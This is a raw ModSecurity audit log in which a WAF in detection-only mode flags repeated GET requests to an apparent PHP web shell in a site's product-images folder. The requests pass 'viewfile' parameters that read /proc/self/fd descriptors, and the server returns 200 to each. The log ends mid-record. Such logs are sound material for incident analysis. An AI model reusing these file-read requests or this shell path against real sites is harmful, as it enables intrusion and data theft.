"DETECTION_ONLY" --b4e28d0a-Z-- --f109933b-A-- [16/Jun/2025:08:32:41.656821 +0530] aE-JUeOzMRjUd1ppiI2zoAAAAAQ 216.73.216.83 51386 127.0.0.1 7081 --f109933b-B-- GET /admin/images/products/6847417b2eb7c%20bipas.phtml?path=%2F%2Fproc%2Fself%2Ffd&viewfile=%2F%2Fproc%2Fself%2Ffd%2F118 HTTP/1.0 Host: www.sarainternational.ae X-Real-IP: 216.73.216.83 X-Accel-Internal: /internal-nginx-static-location Connection: close accept: */* user-agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com) accept-encoding: gzip, br, zstd, deflate --f109933b-F-- HTTP/1.1 200 OK Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 2954 Connection: close Content-Type: text/html; charset=UTF-8 --f109933b-H-- Message: Warning. Matched phrase "proc/self/fd/1" at ARGS:viewfile. [file "/etc/apache2/modsecurity.d/rules/comodo_free/08_Global_Other.conf"] [line "57"] [id "210580"] [rev "2"] [msg "COMODO WAF: OS File Access Attempt||www.sarainternational.ae|F|2"] [data "Matched Data: proc/self/fd/1 found within ARGS:viewfile: /proc/self/fd/118"] [severity "CRITICAL"] [tag "CWAF"] [tag "Other"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "proc/self/fd/1" at ARGS:viewfile. [file "/etc/apache2/modsecurity.d/rules/comodo_free/08_Global_Other.conf"] [line "57"] [id "210580"] [rev "2"] [msg "COMODO WAF: OS File Access Attempt||www.sarainternational.ae|F|2"] [data "Matched Data: proc/self/fd/1 found within ARGS:viewfile: /proc/self/fd/118"] [severity "CRITICAL"] [tag "CWAF"] [tag "Other"] [hostname "www.sarainternational.ae"] [uri "/admin/images/products/6847417b2eb7c bipas.phtml"] [unique_id "aE-JUeOzMRjUd1ppiI2zoAAAAAQ"] Apache-Handler: application/x-httpd-php Stopwatch: 1750042961652702 4183 (- - -) Stopwatch2: 1750042961652702 4183; combined=2068, p1=391, p2=1555, p3=34, p4=34, p5=54, sr=97, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --f109933b-Z-- --c0f1801c-A-- [16/Jun/2025:08:32:41.929824 +0530] aE-JUW6ZKHkY_8UM7_tC4QAAAAU 216.73.216.83 51446 127.0.0.1 7081 --c0f1801c-B-- GET /admin/images/products/6847417b2eb7c%20bipas.phtml?path=%2F%2Fproc%2Fself%2Ffd&viewfile=%2F%2Fproc%2Fself%2Ffd%2F129 HTTP/1.0 Host: www.sarainternational.ae X-Real-IP: 216.73.216.83 X-Accel-Internal: /internal-nginx-static-location Connection: close accept: */* user-agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com) accept-encoding: gzip, br, zstd, deflate --c0f1801c-F-- HTTP/1.1 200 OK Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 2954 Connection: close Content-Type: text/html; charset=UTF-8 --c0f1801c-H-- Message: Warning. Matched phrase "proc/self/fd/1" at ARGS:viewfile. [file "/etc/apache2/modsecurity.d/rules/comodo_free/08_Global_Other.conf"] [line "57"] [id "210580"] [rev "2"] [msg "COMODO WAF: OS File Access Attempt||www.sarainternational.ae|F|2"] [data "Matched Data: proc/self/fd/1 found within ARGS:viewfile: /proc/self/fd/129"] [severity "CRITICAL"] [tag "CWAF"] [tag "Other"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "proc/self/fd/1" at ARGS:viewfile. [file "/etc/apache2/modsecurity.d/rules/comodo_free/08_Global_Other.conf"] [line "57"] [id "210580"] [rev "2"] [msg "COMODO WAF: OS File Access Attempt||www.sarainternational.ae|F|2"] [data "Matched Data: proc/self/fd/1 found within ARGS:viewfile: /proc/self/fd/129"] [severity "CRITICAL"] [tag "CWAF"] [tag "Other"] [hostname "www.sarainternational.ae"] [uri "/admin/images/products/6847417b2eb7c bipas.phtml"] [unique_id "aE-JUW6ZKHkY_8UM7_tC4QAAAAU"] Apache-Handler: application/x-httpd-php Stopwatch: 1750042961925382 4495 (- - -) Stopwatch2: 1750042961925382 4495; combined=2091, p1=358, p2=1609, p3=35, p4=33, p5=55, sr=97, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --c0f1801c-Z-- --a605df72-A-- [16/Jun/2025:08:32:42.111632 +0530] aE-JUlLyTgTLRBnIBDZnqgAAAAM 216.73.216.83 51480 127.0.0.1 7081 --a605df72-B-- GET /admin/images/products/6847417b2eb7c%20bipas.phtml?path=%2F%2Fproc%2Fself%2Ffd&viewfile=%2F%2Fproc%2Fself%2Ffd%2F175 HTTP/1.0 Host: www.sarainternational.ae X-Real-IP: 216.73.216.83 X-Accel-Internal: /internal-nginx-static-location Connection: close accept: */* user-agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com) accept-encoding: gzip, br, zstd, deflate --a605df72-F-- HTTP/1.1 200 OK Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 2954 Connection: close Content-Type: text/html; charset=UTF-8 --a605df72-H-- Message: Warning. Matched phrase "proc/self/fd/1" at ARGS:viewfile. [file "/etc/apache2/modsecurity.d/rules/comodo_free/08_Global_Other.conf"] [line "57"] [id "210580"] [rev "2"] [msg "COMODO WAF: OS File Access Attempt||www.sarainternational.ae|F|2"] [data "Matched Data: proc/self/fd/1 found within ARGS:viewfile: /proc/self/fd/175"] [severity "CRITICAL"] [tag "CWAF"] [tag "Other"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "proc/self/fd/1" at ARGS:viewfile. [file "/etc/apache2/modsecurity.d/rules/comodo_free/08_Global_Other.conf"] [line "57"] [id "210580"] [rev "2"] [msg "COMODO WAF: OS File Access Attempt||www.sarainternational.ae|F|2"] [data "Matched Data: proc/self/fd/1 found within ARGS:viewfile: /proc/self/fd/175"] [severity "CRITICAL"] [tag "CWAF"] [tag "Other"] [hostname "www.sarainternational.ae"] [uri "/admin/images/products/6847417b2eb7c bipas.phtml"] [unique_id "aE-JUlLyTgTLRBnIBDZnqgAAAAM"] Apache-Handler: application/x-httpd-php Stopwatch: 1750042962107655 4031 (- - -) Stopwatch2: 1750042962107655 4031; combined=2032, p1=347, p2=1555, p3=35, p4=34, p5=61, sr=97, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --a605df72-Z-- --a77f3165-A-- [16/Jun/2025:08:32:43.113466 +0530] aE-JUzMylmRimnwJkaBoDwAAAAk 216.73.216.83 51602 127.0.0.1 7081 --a77f3165-B-- GET /admin/images/products/6847417b2eb7c%20bipas.phtml?path=%2F%2Fproc%2Fself%2Ffd&viewfile=%2F%2Fproc%2Fself%2Ffd%2F93 HTTP/1.0 Host: www.sarainternational.ae X-Real-IP: 216.73.216.83 X-Accel-Internal: /internal-nginx-static-location Connection: close accept: */* user-agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com) accept-encoding: gzip, br, zstd, deflate --a77f3165-F-- HTTP/1.1 200 OK Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 2952 Connection: close Content-Type: text/html; charset=UTF-8 --a77f3165-H-- Message: Warning. Matched phrase "proc/self/fd/9" at ARGS:viewfile. [file "/etc/apache2/modsecurity.d/rules/comodo_free/08_Global_Other.conf"] [line "57"] [id "210580"] [rev "2"] [msg "COMODO WAF: OS File Access Attempt||www.sarainternational.ae|F|2"] [data "Matched Data: proc/self/fd/9 found within ARGS:viewfile: /proc/self/fd/93"] [severity "CRITICAL"] [tag "CWAF"] [tag "Other"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "proc/self/fd/9" at ARGS:viewfile. [file "/etc/apache2/modsecurity.d/rules/comodo_free/08_Global_Other.conf"] [line "57"] [id "210580"] [rev "2"] [msg "COMODO WAF: OS File Access Attempt||www.sarainternational.ae|F|2"] [data "Matched Data: proc/self/fd/9 found within ARGS:viewfile: /proc/self/fd/93"] [severity "CRITICAL"] [tag "CWAF"] [tag "Other"] [hostname "www.sarainternational.ae"] [uri "/admin/images/products/6847417b2eb7c bipas.phtml"] [unique_id "aE-JUzMylmRimnwJkaBoDwAAAAk"] Apache-Handler: application/x-httpd-php Stopwatch: 1750042963109032 4489 (- - -) Stopwatch2: 1750042963109032 4489; combined=2411, p1=357, p2=1907, p3=39, p4=45, p5=63, sr=96, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --a77f3165-Z-- --16ec6a0c-A-- [16/Jun/2025:08:32:44.205253 +0530] aE-JVL-GHz_IIxWr6ZuG1wAAAAg 216.73.216.83 51814 127.0.0.1 7081 --16ec6a0c-B-- GET /admin/images/products/6847417b2eb7c%20bipas.phtml?path=%2F%2Fproc%2Fself%2Ffd&viewfile=%2F%2Fproc%2Fself%2Ffd%2F116 HTTP/1.0 Host: www.sarainternational.ae X-Real-IP: 216.73.216.83 X-Accel-Internal: /internal-nginx-static-location Connection: close accept: */* user-agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com) accept-encoding: gzip, br, zstd, deflate --16ec6a0c-F-- HTTP/1.1 200 OK Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 2953 Connection: close Content-Type: text/html; charset=UTF-8 --16ec6a0c-H-- Message: Warning. Matched phrase "proc/self/fd/1" at ARGS:viewfile. [file "/etc/apache2/modsecurity.d/rules/comodo_free/08_Global_Other.conf"] [line "57"] [id "210580"] [rev "2"] [msg "COMODO WAF: OS File Access Attempt||www.sarainternational.ae|F|2"] [data "Matched Data: proc/self/fd/1 found within ARGS:viewfile: /proc/self/fd/116"] [severity "CRITICAL"] [tag "CWAF"] [tag "Other"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "proc/self/fd/1" at ARGS:viewfile. [file "/etc/apache2/modsecurity.d/rules/comodo_free/08_Global_Other.conf"] [line "57"] [id "210580"] [rev "2"] [msg "COMODO WAF: OS File Access Attempt||www.sarainternational.ae|F|2"] [data "Matched Data: proc/self/fd/1 found within ARGS:viewfile: /proc/self/fd/116"] [severity "CRITICAL"] [tag "CWAF"] [tag "Other"] [hostname "www.sarainternational.ae"] [uri "/admin/images/products/6847417b2eb7c bipas.phtml"] [unique_id "aE-JVL-GHz_IIxWr6ZuG1wAAAAg"] Apache-Handler: application/x-httpd-php Stopwatch: 1750042964200566 4742 (- - -) Stopwatch2: 1750042964200566 4742; combined=2533, p1=479, p2=1917, p3=43, p4=37, p5=57, sr=128, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --16ec6a0c-Z-- --27094a56-A-- [16/Jun/2025:08:32:44.480453 +0530] aE-JVDMylmRimnwJkaBoEgAAAAk 216.73.216.83 51848 127.0.0.1 7081 --27094a56-B-- GET /admin/images/products/6847417b2eb7c%20bipas.phtml?path=%2F%2Fproc%2Fself%2Ffd&viewfile=%2F%2Fproc%2Fself%2Ffd%2F78 HTTP/1.0 Host: www.sarainternational.ae X-Real-IP: 216.73.216.83 X-Accel-Internal: /internal-nginx-static-location Connection: close accept: */* user-agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com) accept-encoding: gzip, br, zstd, deflate --27094a56-F-- HTTP/1.1 200 OK Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 2953 Connection: close Content-Type: text/html; charset=UTF-8 --27094a56-H-- Message: Warning. Matched phrase "proc/self/fd/7" at ARGS:viewfile. [file "/etc/apache2/modsecurity.d/rules/comodo_free/08_Global_Other.conf"] [line "57"] [id "210580"] [rev "2"] [msg "COMODO WAF: OS File Access Attempt||www.sarainternational.ae|F|2"] [data "Matched Data: proc/self/fd/7 found within ARGS:viewfile: /proc/self/fd/78"] [severity "CRITICAL"] [tag "CWAF"] [tag "Other"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "proc/self/fd/7" at ARGS:viewfile. [file "/etc/apache2/modsecurity.d/rules/comodo_free/08_Global_Other.conf"] [line "57"] [id "210580"] [rev "2"] [msg "COMODO WAF: OS File Access Attempt||www.sarainternational.ae|F|2"] [data "Matched Data: proc/self/fd/7 found within ARGS:viewfile: /proc/self/fd/78"] [severity "CRITICAL"] [tag "CWAF"] [tag "Other"] [hostname "www.sarainternational.ae"] [uri "/admin/images/products/6847417b2eb7c bipas.phtml"] [unique_id "aE-JVDMylmRimnwJkaBoEgAAAAk"] Apache-Handler: application/x-httpd-php Stopwatch: 1750042964475358 5162 (- - -) Stopwatch2: 1750042964475358 5162; combined=2822, p1=438, p2=2194, p3=44, p4=74, p5=72, sr=116, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --27094a56-Z-- --104ceb72-A-- [16/Jun/2025:08:33:37.447152 +0530] aE-JiUN_xpBAtP8SIP1DJgAAAAo 216.73.216.83 35936 127.0.0.1 7081 --104ceb72-B-- GET /admin/images/products/6847417b2eb7c%20bipas.phtml?path=%2F%2Fproc%2Fself%2Ffd&viewfile=%2F%2Fproc%2Fself%2Ffd%2F75 HTTP/1.0 Host: www.sarainternational.ae X-Real-IP: 216.73.216.83 X-Accel-Internal: /internal-nginx-static-location Connection: close accept: */* user-agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com) accept-encoding: gzip, br, zstd, deflate --104ceb72-F-- HTTP/1.1 200 OK Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 2953 Connection: close Content-Type: text/html; charset=UTF-8 --104ceb72-H-- Message: Warning. Matched phrase "proc/self/fd/7" at ARGS:viewfile. [file "/etc/apache2/modsecurity.d/rules/comodo_free/08_Global_Other.conf"] [line "57"] [id "210580"] [rev "2"] [msg "COMODO WAF: OS File Access Attempt||www.sarainternational.ae|F|2"] [data "Matched Data: proc/self/fd/7 found within ARGS:viewfile: /proc/self/fd/75"] [severity "CRITICAL"] [tag "CWAF"] [tag "Other"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "proc/self/fd/7" at ARGS:viewfile. [file "/etc/apache2/modsecurity.d/rules/comodo_free/08_Global_Other.conf"] [line "57"] [id "210580"] [rev "2"] [msg "COMODO WAF: OS File Access Attempt||www.sarainternational.ae|F|2"] [data "Matched Data: proc/self/fd/7 found within ARGS:viewfile: /proc/self/fd/75"] [severity "CRITICAL"] [tag "CWAF"] [tag "Other"] [hostname "www.sarainternational.ae"] [uri "/admin/images/products/6847417b2eb7c bipas.phtml"] [unique_id "aE-JiUN_xpBAtP8SIP1DJgAAAAo"] Apache-Handler: application/x-httpd-php Stopwatch: 1750043017442396 4828 (- - -) Stopwatch2: 1750043017442396 4828; combined=2657, p1=376, p2=2121, p3=64, p4=40, p5=56, sr=97, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --104ceb72-Z-- --14a0b034-A-- [16/Jun/2025:08:33:37.451288 +0530] aE-JiQS4XDlCv3KXioQRkQAAAAY 216.73.216.83 35910 127.0.0.1 7081 --14a0b034-B-- GET /admin/images/products/6847417b2eb7c%20bipas.phtml?path=%2F%2Fproc%2Fself%2Ffd&viewfile=%2F%2Fproc%2Fself%2Ffd%2F170 HTTP/1.0 Host: www.sarainternational.ae X-Real-IP: 216.73.216.83 X-Accel-Internal: /internal-nginx-static-location Connection: close accept: */* user-agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com) accept-encoding: gzip, br, zstd, deflate --14a0b034-F-- HTTP/1.1 200 OK Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 2954 Connection: close Content-Type: text/html; charset=UTF-8 --14a0b034-H-- Message: Warning. Matched phrase "proc/self/fd/1" at ARGS:viewfile. [file "/etc/apache2/modsecurity.d/rules/comodo_free/08_Global_Other.conf"] [line "57"] [id "210580"] [rev "2"] [msg "COMODO WAF: OS File Access Attempt||www.sarainternational.ae|F|2"] [data "Matched Data: proc/self/fd/1 found within ARGS:viewfile: /proc/self/fd/170"] [severity "CRITICAL"] [tag "CWAF"] [tag "Other"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "proc/self/fd/1" at ARGS:viewfile. [file "/etc/apache2/modsecurity.d/rules/comodo_free/08_Global_Other.conf"] [line "57"] [id "210580"] [rev "2"] [msg "COMODO WAF: OS File Access Attempt||www.sarainternational.ae|F|2"] [data "Matched Data: proc/self/fd/1 found within ARGS:viewfile: /proc/self/fd/170"] [severity "CRITICAL"] [tag "CWAF"] [tag "Other"] [hostname "www.sarainternational.ae"] [uri "/admin/images/products/6847417b2eb7c bipas.phtml"] [unique_id "aE-JiQS4XDlCv3KXioQRkQAAAAY"] Apache-Handler: application/x-httpd-php Stopwatch: 1750043017447867 3474 (- - -) Stopwatch2: 1750043017447867 3474; combined=1803, p1=276, p2=1424, p3=31, p4=29, p5=43, sr=76, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --14a0b034-Z-- --167a9a41-A-- [16/Jun/2025:08:33:37.458493 +0530] aE-JiTMylmRimnwJkaBoLgAAAAk 216.73.216.83 35968 127.0.0.1 7081 --167a9a41-B-- GET /admin/images/products/6847417b2eb7c%20bipas.phtml?path=%2F%2Fproc%2Fself%2Ffd&viewfile=%2F%2Fproc%2Fself%2Ffd%2F44 HTTP/1.0 Host: www.sarainternational.ae X-Real-IP: 216.73.216.83 X-Accel-Internal: /internal-nginx-static-location Connection: close accept: */* user-agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com) accept-encoding: gzip, br, zstd, deflate --167a9a41-F-- HTTP/1.1 200 OK Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 2953 Connection: close Content-Type: text/html; charset=UTF-8 --167a9a41-H-- Message: Warning. Matched phrase "proc/self/fd/4" at ARGS:viewfile. [file "/etc/apache2/modsecurity.d/rules/comodo_free/08_Global_Other.conf"] [line "57"] [id "210580"] [rev "2"] [msg "COMODO WAF: OS File Access Attempt||www.sarainternational.ae|F|2"] [data "Matched Data: proc/self/fd/4 found within ARGS:viewfile: /proc/self/fd/44"] [severity "CRITICAL"] [tag "CWAF"] [tag "Other"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "proc/self/fd/4" at ARGS:viewfile. [file "/etc/apache2/modsecurity.d/rules/comodo_free/08_Global_Other.conf"] [line "57"] [id "210580"] [rev "2"] [msg "COMODO WAF: OS File Access Attempt||www.sarainternational.ae|F|2"] [data "Matched Data: proc/self/fd/4 found within ARGS:viewfile: /proc/self/fd/44"] [severity "CRITICAL"] [tag "CWAF"] [tag "Other"] [hostname "www.sarainternational.ae"] [uri "/admin/images/products/6847417b2eb7c bipas.phtml"] [unique_id "aE-JiTMylmRimnwJkaBoLgAAAAk"] Apache-Handler: application/x-httpd-php Stopwatch: 1750043017454253 4294 (- - -) Stopwatch2: 1750043017454253 4294; combined=2202, p1=277, p2=1785, p3=51, p4=34, p5=54, sr=84, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --167a9a41-Z-- --bf4c1d66-A-- [16/Jun/2025:08:33:37.677751 +0530] aE-JiQS4XDlCv3KXioQRkgAAAAY 216.73.216.83 36016 127.0.0.1 7081 --bf4c1d66-B-- GET /admin/images/products/6847417b2eb7c%20bipas.phtml?path=%2F%2Fproc%2Fself%2Ffd&viewfile=%2F%2Fproc%2Fself%2Ffd%2F154 HTTP/1.0 Host: www.sarainternational.ae X-Real-IP: 216.73.216.83 X-Accel-Internal: /internal-nginx-static-location Connection: close accept: */* user-agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com) accept-encoding: gzip, br, zstd, deflate --bf4c1d66-F-- HTTP/1.1 200 OK Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 2954 Connection: close Content-Type: text/html; charset=UTF-8 --bf4c1d66-H-- Message: Warning. Matched phrase "proc/self/fd/1" at ARGS:viewfile. [file "/etc/apache2/modsecurity.d/rules/comodo_free/08_Global_Other.conf"] [line "57"] [id "210580"] [rev "2"] [msg "COMODO WAF: OS File Access Attempt||www.sarainternational.ae|F|2"] [data "Matched Data: proc/self/fd/1 found within ARGS:viewfile: /proc/self/fd/154"] [severity "CRITICAL"] [tag "CWAF"] [tag "Other"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "proc/self/fd/1" at ARGS:viewfile. [file "/etc/apache2/modsecurity.d/rules/comodo_free/08_Global_Other.conf"] [line "57"] [id "210580"] [rev "2"] [msg "COMODO WAF: OS File Access Attempt||www.sarainternational.ae|F|2"] [data "Matched Data: proc/self/fd/1 found within ARGS:viewfile: /proc/self/fd/154"] [severity "CRITICAL"] [tag "CWAF"] [tag "Other"] [hostname "www.sarainternational.ae"] [uri "/admin/images/products/6847417b2eb7c bipas.phtml"] [unique_id "aE-JiQS4XDlCv3KXioQRkgAAAAY"] Apache-Handler: application/x-httpd-php Stopwatch: 1750043017673369 4436 (- - -) Stopwatch2: 1750043017673369 4436; combined=2366, p1=474, p2=1767, p3=37, p4=33, p5=54, sr=129, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --bf4c1d66-Z-- --b8425362-A-- [16/Jun/2025:08:33:38.041492 +0530] aE-JikN_xpBAtP8SIP1DKAAAAAo 216.73.216.83 36044 127.0.0.1 7081 --b8425362-B-- GET /admin/images/products/6847417b2eb7c%20bipas.phtml?path=%2F%2Fproc%2Fself%2Ffd&viewfile=%2F%2Fproc%2Fself%2Ffd%2F114 HTTP/1.0 Host: www.sarainternational.ae X-Real-IP: 216.73.216.83 X-Accel-Internal: /internal-nginx-static-location Connection: close accept: */* user-agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com) accept-encoding: gzip, br, zstd, deflate --b8425362-F-- HTTP/1.1 200 OK Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 2953 Connection: close Content-Type: text/html; charset=UTF-8 --b8425362-H-- Message: Warning. Matched phrase "proc/self/fd/1" at ARGS:viewfile. [file "/etc/apache2/modsecurity.d/rules/comodo_free/08_Global_Other.conf"] [line "57"] [id "210580"] [rev "2"] [msg "COMODO WAF: OS File Access Attempt||www.sarainternational.ae|F|2"] [data "Matched Data: proc/self/fd/1 found within ARGS:viewfile: /proc/self/fd/114"] [severity "CRITICAL"] [tag "CWAF"] [tag "Other"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "proc/self/fd/1" at ARGS:viewfile. [file "/etc/apache2/modsecurity.d/rules/comodo_free/08_Global_Other.conf"] [line "57"] [id "210580"] [rev "2"] [msg "COMODO WAF: OS File Access Attempt||www.sarainternational.ae|F|2"] [data "Matched Data: proc/self/fd/1 found within ARGS:viewfile: /proc/self/fd/114"] [severity "CRITICAL"] [tag "CWAF"] [tag "Other"] [hostname "www.sarainternational.ae"] [uri "/admin/images/products/6847417b2eb7c bipas.phtml"] [unique_id "aE-JikN_xpBAtP8SIP1DKAAAAAo"] Apache-Handler: application/x-httpd-php Stopwatch: 1750043018037064 4488 (- - -) Stopwatch2: 1750043018037064 4488; combined=2408, p1=339, p2=1926, p3=38, p4=46, p5=59, sr=87, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --b8425362-Z-- --97154841-A-- [16/Jun/2025:08:33:38.132673 +0530] aE-JilLyTgTLRBnIBDZnwQAAAAM 216.73.216.83 36054 127.0.0.1 7081 --97154841-B-- GET /admin/images/products/6847417b2eb7c%20bipas.phtml?path=%2F%2Fproc%2Fself%2Ffd&viewfile=%2F%2Fproc%2Fself%2Ffd%2F174 HTTP/1.0 Host: www.sarainternational.ae X-Real-IP: 216.73.216.83 X-Accel-Internal: /internal-nginx-static-location Connection: close accept: */* user-agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com) accept-encoding: gzip, br, zstd, deflate --97154841-F-- HTTP/1.1 200 OK Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 2953 Connection: close Content-Type: text/html; charset=UTF-8 --97154841-H-- Message: Warning. Matched phrase "proc/self/fd/1" at ARGS:viewfile. [file "/etc/apache2/modsecurity.d/rules/comodo_free/08_Global_Other.conf"] [line "57"] [id "210580"] [rev "2"] [msg "COMODO WAF: OS File Access Attempt||www.sarainternational.ae|F|2"] [data "Matched Data: proc/self/fd/1 found within ARGS:viewfile: /proc/self/fd/174"] [severity "CRITICAL"] [tag "CWAF"] [tag "Other"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "proc/self/fd/1" at ARGS:viewfile. [file "/etc/apache2/modsecurity.d/rules/comodo_free/08_Global_Other.conf"] [line "57"] [id "210580"] [rev "2"] [msg "COMODO WAF: OS File Access Attempt||www.sarainternational.ae|F|2"] [data "Matched Data: proc/self/fd/1 found within ARGS:viewfile: /proc/self/fd/174"] [severity "CRITICAL"] [tag "CWAF"] [tag "Other"] [hostname "www.sarainternational.ae"] [uri "/admin/images/products/6847417b2eb7c bipas.phtml"] [unique_id "aE-JilLyTgTLRBnIBDZnwQAAAAM"] Apache-Handler: application/x-httpd-php Stopwatch: 1750043018128478 4250 (- - -) Stopwatch2: 1750043018128478 4250; combined=2238, p1=342, p2=1762, p3=37, p4=37, p5=60, sr=91, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --97154841-Z-- --9229be52-A-- [16/Jun/2025:08:33:38.769360 +0530] aE-JilLyTgTLRBnIBDZnwgAAAAM 216.73.216.83 36138 127.0.0.1 7081 --9229be52-B-- GET /admin/images/products/6847417b2eb7c%20bipas.phtml?path=%2F%2Fproc%2Fself%2Ffd&viewfile=%2F%2Fproc%2Fself%2Ffd%2F102 HTTP/1.0 Host: www.sarainternational.ae X-Real-IP: 216.73.216.83 X-Accel-Internal: /internal-nginx-static-location Connection: close accept: */* user-agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com) accept-encoding: gzip, br, zstd, deflate --9229be52-F-- HTTP/1.1 200 OK Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 2954 Connection: close Content-Type: text/html; charset=UTF-8 --9229be52-H-- Message: Warning. Matched phrase "proc/self/fd/1" at ARGS:viewfile. [file "/etc/apache2/modsecurity.d/rules/comodo_free/08_Global_Other.conf"] [line "57"] [id "210580"] [rev "2"] [msg "COMODO WAF: OS File Access Attempt||www.sarainternational.ae|F|2"] [data "Matched Data: proc/self/fd/1 found within ARGS:viewfile: /proc/self/fd/102"] [severity "CRITICAL"] [tag "CWAF"] [tag "Other"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "proc/self/fd/1" at ARGS:viewfile. [file "/etc/apache2/modsecurity.d/rules/comodo_free/08_Global_Other.conf"] [line "57"] [id "210580"] [rev "2"] [msg "COMODO WAF: OS File Access Attempt||www.sarainternational.ae|F|2"] [data "Matched Data: proc/self/fd/1 found within ARGS:viewfile: /proc/self/fd/102"] [severity "CRITICAL"] [tag "CWAF"] [tag "Other"] [hostname "www.sarainternational.ae"] [uri "/admin/images/products/6847417b2eb7c bipas.phtml"] [unique_id "aE-JilLyTgTLRBnIBDZnwgAAAAM"] Apache-Handler: application/x-httpd-php Stopwatch: 1750043018764741 4683 (- - -) Stopwatch2: 1750043018764741 4683; combined=2444, p1=377, p2=1906, p3=38, p4=46, p5=77, sr=107, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --9229be52-Z-- --7504dd66-A-- [16/Jun/2025:08:33:38.950815 +0530] aE-Jir-GHz_IIxWr6ZuG8wAAAAg 216.73.216.83 36148 127.0.0.1 7081 --7504dd66-B-- GET 